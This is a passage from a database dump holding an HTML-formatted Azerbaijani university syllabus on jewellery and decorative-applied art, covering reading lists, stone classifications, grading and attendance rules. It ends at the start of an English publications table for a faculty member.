serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;Əsas Dərsliklər</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>1)&nbsp;&nbsp;&nbsp;&nbsp;</strong>S.D . Əsedova&nbsp; - Azərbaycan&nbsp; Zərgərliyində&nbsp; şəbəkə &nbsp;nümunələri</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>2)&nbsp;&nbsp;&nbsp;&nbsp;</strong>M.S. Qaşqay&nbsp; Ə.İ. Mahmudov – Qiymətli və yarımqiymətli rəngli daşlar – 1973</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>3)&nbsp;&nbsp;&nbsp;&nbsp;</strong>B.Ə.Rəcəbova -&nbsp; Azərbaycanın orta əsr qadın bəzəkləri ( 4 – 13 əsrlər ) - 2000</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>4)&nbsp;&nbsp;&nbsp;&nbsp;</strong>R.H. Ələsgərov – Zərgərlik məmulatlarının istehsalatı üçün materiallar – 1997</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>5)&nbsp;&nbsp;&nbsp;&nbsp;</strong>В. Шуман – Мир камня &nbsp;Драгоценные и поделочные камни – 1986</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>6)&nbsp;&nbsp;&nbsp;&nbsp;</strong>Azərbaycan incəsənəti&nbsp; 6&nbsp; -&nbsp; 1959</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Fənnin məqsədi:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Dekorativ – tətbiqi sənət:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dekorativ – tətbiqi incəsənəti ustalarının&nbsp; qarşısında duran əsas vəzifələrdən biri, milli sənət irsimizin dəyərli ənənələrmizdən yaradıcılıq boyu&nbsp; istifadə edib gözəl&nbsp; və zövqlü əsərlər yaratmaqdir. Bu zəngin irsin mütereqqi cəhətlərini tənqidi suretde öyrənməyini Dekorativ – tətbiqi sənət rəssam və ustalarinin get – gede artmaqda olan zövqünün və kamil əsərlər yaradılmasınn böyük əhəmiyyəti vardir. Ona görə milli sənətimizin tətbiqi ilə yanaşi bədii xüsusiyyətlerini təhlil etmək vacib məsələlərdəndir. Bu sahədə yaradilan hər bir sənət əsəri rəssam və ustalarimizin yaradıcılıq metodunu zənginləşdirməklə bərabər,&nbsp; faydalı və ideoloji əhəmiyyəti olan Dekorativ – tətbiqi incəsənəti əsərlərinin yüksək səviyyədə inkişafına da kömək edə bilər</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp; Ornament :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Azərbaycan&nbsp; xalq tətbiqi sənətində müxtəlif növ naxışlarn kompozisiya xüsusiyyətləri və müxtəlif əndazəli və formali Dekorativ – tətbiqi sənət növlərinin bədii tərtibaı prinsipləri öyrenilir. Əsas etibarı ilə müxtəlif əsrlərə aid xalq sənətlərində tətbiq edilmiş esas ornament qruplarinin kompozisiya qurluşlari prinsiplərinin müxtəlifliyi və zənginliyi nümayiş etdir .</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;“Zərgərlik” insanın bəzəyərək istifadə etdiyi əşyalar içərisində metaldan düzəldilmiş məmulatlar əhəmiyyətli yerlərdən birini tutur.&nbsp; “Bədii metal” sənəti Azərbaycan&nbsp; Dekorativ-tədbiqi sənətin əsas qollarında biridir. Bu sənət növü özündə incəsənətimizin bir çox qollarını birləşdirərək sintez yaratmışdır. Bədii metal sənətində əsrlər boyu müxtəlif sənət növləri ilə vəhdət&nbsp; halında tədbiq edilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Məlum olduğu kimi Zərgərlik, incəsənət sahələri içərisində özünəməxsus yeri olan həmişəyaşar milli sərvətlərimizdən biridir. İnsanın onu əhatə edən dünyanı daha yaraşıqlı etmək istəyi kimi təbii ehtiyaclarından doğmuş bu sənət xalqların coğrafi, iqlim, iqtisadiyyat, daha sonra mədəniyyət, din və s. fərqləri fonunda formalaşaraq özündə minilliklərin izlərini daşıyır. Xalqın milli sərvəti olmaqla yanaşı, zərgərlik həm də qədim və gözəl ənənələrin yaşadılmasına və dərk edilməsinə kömək edir. Belə maraqlı və çoxcəhətli sənətin tədrisi, və xüsusən də tələbələrin qiymətləndirilməsi özünəməxsusluğu ilə seçilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Uzun illər ərzində aparılan arxeoloji qazıntı işləri nəticəsində toplanmiş zəngin maddi mədəni nümunələri içərisinə bəzək eşyalarıda özünə məxsus yer tutur. Bu zəngin bəzək eşyalari bütövlükdə zərgərlik sənəti haqqında fikir söyləməyə imkan verir. Indi təkcə qadin geyimini bəzəyən bəzək eşyalarindan qədim dövrlərdə kişilərdə istifadə edirdilər. Bu ondan irəli gəlirki, həmin dövrdə insanlarin istifadə etdikləri bəzək eşyaları təkcə estetik baxımdan deyil , həmdə dini sitayiş xarakteri daşıyırdı.&nbsp;&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dini ideologiyanin formalaşması ilə insanların bəzək eşyalarına olan münasibətləri dəyişmiş, ayin və mövhumi xrakter daışiyan bilərzik , sırğa, muncuq, kəmər və başqa bəzək eşyalari tədricən qadınların əsas bəzəyinə çevrilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp; Bəzək əşyalarının təsnifatı :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp; Baş bəzəkləri , 2) Döş bəzəkləri , 3) Qol bəzəkləri , 4) Geyim bəzəkləri</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Daşların təsnifatı:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qədim və orta əsr mədəniyyət tarixinə dair daşlardan duzəldilmiş eşyalari aşağidakı qruplara bölmək olar:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Daşların məişətdə əhəmiyyəti ;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bəzək daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Müqəddəs daşlar və onlara dindarlarin sitayişi;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Məmulat daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Üzlük daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yazılı və rəsm ifadəli daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">7)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Möhür daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">8)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inşaat daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">9)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dekorotiv daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">10)&nbsp;&nbsp;&nbsp;&nbsp; Memarliqda işlənən daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">11)&nbsp;&nbsp;&nbsp;&nbsp; Senayə əhəmiyyətli daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">12)&nbsp;&nbsp;&nbsp;&nbsp; Mozaika incəsənətində işlədilən daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">13)&nbsp;&nbsp;&nbsp;&nbsp; Daşlar haqda əfsanələr;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">14)&nbsp;&nbsp;&nbsp;&nbsp; Daşlar poeziyada.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bəşəriyyət tarixində insanlarımaraqlandıran məsələlərdən biri də daşlar və onların rengarengliyi olmüşdür. Daşlar , o cümlədən qiymətli və yarım qiymətli rəngli daşlar haqqında təsəvvür hələ daş dövründən arxeoloji qazma işləri zamanı yaradılmışdır. Qazıntılar nəticəsində tapılan&nbsp; paleolit ( qədim daş ) , neolit ( yeni daş ), eneolit ( daş – metal ) dövrləri və tunc dövrünə aid olan daş və metaldan düzəldilmiş əşyalar ov və müharibə zamanı işlənən alətlərin qalıqlarıdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Daşlar haqqinda yazılı məlumatlar 8 – 10 min il bundan əvvəl də daş üstü yazılarda,</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">son 2 –5&nbsp; min ildə başqa yazı formalarında, xususən mixi xətti və heroqliflərdə verilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qədim zamanlardan bəri daşların istifadəsi və iqtisadiyyatı ilə əlaqədar onların emalı mühüm məsələlərdən biri olmuşdür. Daşların forma və fiziki xassələrini nəzərə almaqla onların emalı inkişaf eddirilmiş, zərgərlik , mozaika ,ornament və sairə sənətlər yuksək səviyyəyə çatmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qiymətli və yarimqiymətli rəngli daşlardan hazırlanmış məmulatlar hələ qədimdən xəzinələrdə, muzeylərdə, baş kilsələrdə, böyük məsciddə saxlanilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik&nbsp; peşəsi üçün praktiki rəhbərliklər:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp; Zərgərlik məmulatlarının istehsalı üçün materiallar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2)&nbsp;&nbsp;&nbsp; Hazırlayıcı ücün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">3)&nbsp;&nbsp;&nbsp; Quraşdırıcı – zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">4)&nbsp;&nbsp;&nbsp; Bərkidici - zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">5)&nbsp;&nbsp;&nbsp; Dekorativ müdafiə örtükləri.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">6)&nbsp;&nbsp;&nbsp; Cilalayıcı – zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">7)&nbsp;&nbsp;&nbsp; Zərgərlik məmulatlarının assortimenti və klassifikasiyası.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik kursunda tələbələr Dekorativ sənət üzrə işləyən rəssam və ustaların əl işləri ilə tanış olur, həmçinin tələbələr gələcək yaradıcılıq fəaliyyətində çox əhəmiyyətli olan&nbsp; metalın bədii emalında istifadə olunan son texnoloji naliyyətlərlə, dəzgahlar və digər avadanlığlarıda öyrənir. Zərgərlik sahəsini öyrənən tələbələr təkcə metal deyil həm də iş prinsipində istifadə olunan&nbsp; digər material və alətləri&nbsp; tanımalıdırlar. ən mühüm mərhələlərdən biridə tələbələrin metalların fiziki və dekorotiv xassələrini&nbsp; mənimsəməsidir.&nbsp; Mərhələ mərhələ keçdikləri, gördükləri hər yeni texnologiya,&nbsp; hər yeni üslub gələcəkdə tələbəlkərin fikirlərini daha geniş və daha dərin&nbsp; çatdırmağa əhəmiyyət göstərir. Fənnin ən vacib məqsədi tələbənin estetik zövqünü zənginləşdirməkdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərliyin qeyri ixtisas fəni kimi tədris olunduğu Xəzər universitəsində&nbsp; qiymətləndirmə prinsipləri həm müxtəlif Rəssamlıq akademiyalarının həm də “Baloniya” prinsiplərinin metodoloji əsaslarına dayanır. Məlumdur ki, İncəsənətin sintetik növü olan zərgərlik üzrə işlər profil təhsil müəssisələrində müxtəlif&nbsp; istiqamətlərdə ixtisaslaşmış&nbsp; rəssamlardan ibarət komisiya tərəfindən sərgi-baxışlar gedişində qiymətləndirilir.&nbsp; Bu ənənəvi üsul Xəzər universitəsində əsasən yekun sərgilər formasında saxlanılmaqdadır. Amma, bizim nəzərdən keçirdiyimiz halda universitə təhsilində incəsənət fənnlərinin məqsədi bir qədər başqa olduğu üçün tələbənin bilik və bacarıqlarına verilən tələblər də fərqlidir. Burada son məqsəd kimi, tələbənin bu və ya digər incəsənət sahəsində ixtisaslaşması, professional sənətkar kimi formalaşması deyil, hərtərəfli mütəxəssis olaraq ilkin, öncül sənət bilgilərinə yiyələnmə, zəruri estetik zövqün formalasması və digər bu kimi tələblər ön plana çəkilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İncəsənət sahələrinin seçmə fənn kimi tədris olunduğu bizim universitədə tələbənin müvəffəqiyyəti zərgərlik üzrə də 100 ballıq sistemlə qiymətləndirilir. Qiymətləndirilmənin prinsipləri beynəlxalq təcrübəyə və xüsusen, zərgərlik fəninin tədris olunduğu digər xarici təhsil müəssiələrinin təcrübəsinə müvafiqdir. Eyni zamanda Azərbaycanda zərgərlik fənninin tədrisi üzrə maraqli təcrübə toplamiş&nbsp; Az. Dövlət Rəssamliq Akademiyasi&nbsp; memarliq və dizayn fakültəsi dekorativ tətbiqi sənət kafedrasinın, metal ixtisasi tədrisində istifadə olunan prinsiplər də departamentimizdə araşdırılıb mənimsənilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qəbul etdiyimiz qayda üzrə hər bir&nbsp; tələbə&nbsp; semester ərzində fərdi şəkildə ən azı bir iş tamamlamalidir. Belə bir işin&nbsp; başa çatdırılıb universitə sərgisinə təqdim olunmasi əsas şərtdir. Işin icrasinin birinci mərhələsi semestr başladiqdan&nbsp; altı həftə sonra araliq imtahani gedişində komissiya tərəfindən&nbsp; müzakirə olunub qiymətləndirilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Araliq imtahani 25 balla qiymətləndirilir. Bunlardan 15 ball praktiki işə gorə,&nbsp; 10 bal isə iş ətrafindakı suallara cavablar&nbsp; əsasinda verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Final imtahani 40 balla qiymətləndirilir, bunlarinda 30 bali&nbsp; praktiki işin nəticəsi,&nbsp; 10 balı&nbsp; zərgərlik fənninin nəzəri suallara cavablar əsasinda veilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Nəzəri suallara zərgərlik sənətinin ümumi əsasları,&nbsp; Azərbaycan&nbsp; zərgərliyinin xüsusiyyətləri, zərgərlik sənətinin&nbsp; tarixi,&nbsp; istifadə olunan texniki vasitələr, metal, dash,&nbsp; minerallar&nbsp; və&nbsp; reaktivlər haqqa əsas anlayişlar daxildir. Buraya təsnifat, texnoloji xüsusiyyətlər, zəruri fiziki-kimyavi göstəricilər tarixi əsaslar və bu kimi daxildir. Bu biliklər mühazirə gedişində tələbələrə çatdırılır, əldə olan ədəbiyyat, o cümlədən, universitə jurnalında&nbsp; dərc olunmuş məqalələrlə təmin olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fəalliq və dərslərdə iştirak&nbsp; -&nbsp; ayrıca 10 balla qiymətləndirilir və yekun imtahanına buraxılış ücün zəruridir. Tələbə dərs geişində mühazirələri dinləyir, qeydlər aparır, tələb olunan bilik və vərdişləri mənimsəmək üçün müəllimin tapşırıqlarını yerinə yetirir. Müəllim praktik iş və nəzəri dərslər gedişində tələbənin fəallığının qeydiyyatını aparıb smestrin sonunda yekunlaşdırır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Labaratoriya&nbsp; işi&nbsp; 25 balla qiymətləndirilir. Belə iş – proyekt&nbsp; kompyuterdə hazirlanir&nbsp; və power point prezentasiya şəkilində təhvil verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prezentasiya ən azi 10 slayddan ibarət olmalidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1-ci&nbsp; slayt -&nbsp;&nbsp; titul,&nbsp;&nbsp; tələbənin ozünü və işini təqdim&nbsp; edən ad, mətn və qrafik obyekdən ibarətdir&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2-ci&nbsp; slayt&nbsp; -&nbsp; işin eskizi, daha sonra işin – məmulatin&nbsp; müxtəlif proyeksiyalari, elementləri və rəng həllərini əks etdirir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Növbəti slaydda qisa tarixi məlumat və hazirlanan məmulat haqda informasiya verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sonrakı slaytlarin hər biri işin icrasının – məmulatin hazirlanmasının ayri- ayri ardıcıl mərhələlərini əks etdirir. Bura materialın (mineralların və metalların)&nbsp; secilməsi və hazırlanması, məmulata sərf olunan materialın, itgilərin və. s . həsablanmasi, klassifikasiya, texnoloji proseslər və s. aiddir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Proyektin – lobaratoriya işinin qiymətləndirilməsi gedişində&nbsp; prezentasiyanın ümumi keyfiyyəti ilə yanaşi eskizlərin düzgün qurulması və mövzunun tam əhatə olunması nəzərə alinir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərslərin 30 %-indən çoxunda iştirak&nbsp; etməyən tələbə imtahana&nbsp; buraxılmır .</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənnin tədrisinin nəticəsi:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənnin ümumi tədrisi prosesi</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrdə zərgərlik haqqında bitkin və obyektiv təzəvvür yaradacağ</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrə dünya və azərbaycanın etnik&nbsp; zərgərlik sənətinin yaranması tarixi və inkişaf mərhələləri haqqında məlumat veriləcək.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrə zərgərlikdə tədbiq edilən texnikaların (şəbəkə, mina, bərkitmə, quraşdırma, tökmə) istifadə qaydaları öyrədiləcək.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qiymətləndirmə</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Semestr ərzində iki imtahanın keçirilməsi nəzərdə tutulur. Imtahanın keçirilmə tarixi haqqıda məlumat dərs zamanı veriləcəkdir. Qiymətləndirmə qaydası aşağıdakılardır:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yoxlama&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Aralığ imtahanı&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yekun imtahan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 40%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Ümumi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 100%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Davamiyyət</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin bütün dərslərdə iştirakı vacibdir. Tələbələr hər hansısa bir səbəbdən&nbsp; dərslərin buraxılması (xəstəlik, ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.&nbsp; 20%-dən artıq dərs buraxan tələbələr imtahana buraxılmır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərsə gecikmələr və digər dərs pozuntuları.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərsə 5 dəqiqədən artıq gecikən tələbələr dərsə buraxılmır. Buna baxmayaraq, tələbə 2-ci dərs saatına buraxıla bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qabaqcadan baxış</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Müəllimə və dekana öncədən məlumat verilən səbəblərdən&nbsp; qabaqcadan baxışda&nbsp; iştirak etməyən tələbə&nbsp; növbəti həftə baxışda iştirak edə bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Imtahanlar</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbənin imtahanda iştirakı və ya imtaha buraxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənni bitirmək qaydaları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Universitetin qaydalarına müvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı&nbsp; hesab edilir. Kəsri olan tələbə bu fənni növbəti semestr və ya növbəti il təkrarən yenidən götürə bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Imtahan qaydalırın pozulması</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qabaqcadan baxış və yekun imtahalar vaxtı tələbə tərəfindən imtahanın gedişini pozmaq qadağandır. Bu qaydaya qiymət verməyən tələbələrin imtahan işi ləvğ olunur, və tələbə 0 qiyməti ilə imtahandan kənarlaşdırılır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin davranış qaydaları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərs zamanı dərs prosesini pozmaq və qeyri-etik hərəkət etmək qadağandir. Həmçinin tələbələrin icazəsiz müzakirələri və mobil telefondan istifadəsi qadağandır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tədris metodları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- Tədris prosesində aşağıdakılar nəzərdə tutulur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- Mühazirələr mövzu əsasinda müzakirələr</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- iş texnikasının təkminləşdirilməsi məqsədi ilə&nbsp; mütəxəsislərin dərslərə dəvət edilmısi</p>  <br></div>'),(1244,766,'en','Gasham Zeynalov','Gasham Zeynalov','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div> <div style=\"font-family:\'times new roman\', times, serif\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"613\" style=\"color:#3a3b3b;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">#</p></td><td width=\"167\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Publications type/publication activities</strong></p><p style=\"margin:0px 0px 10px;padding:0px\"><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"108\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 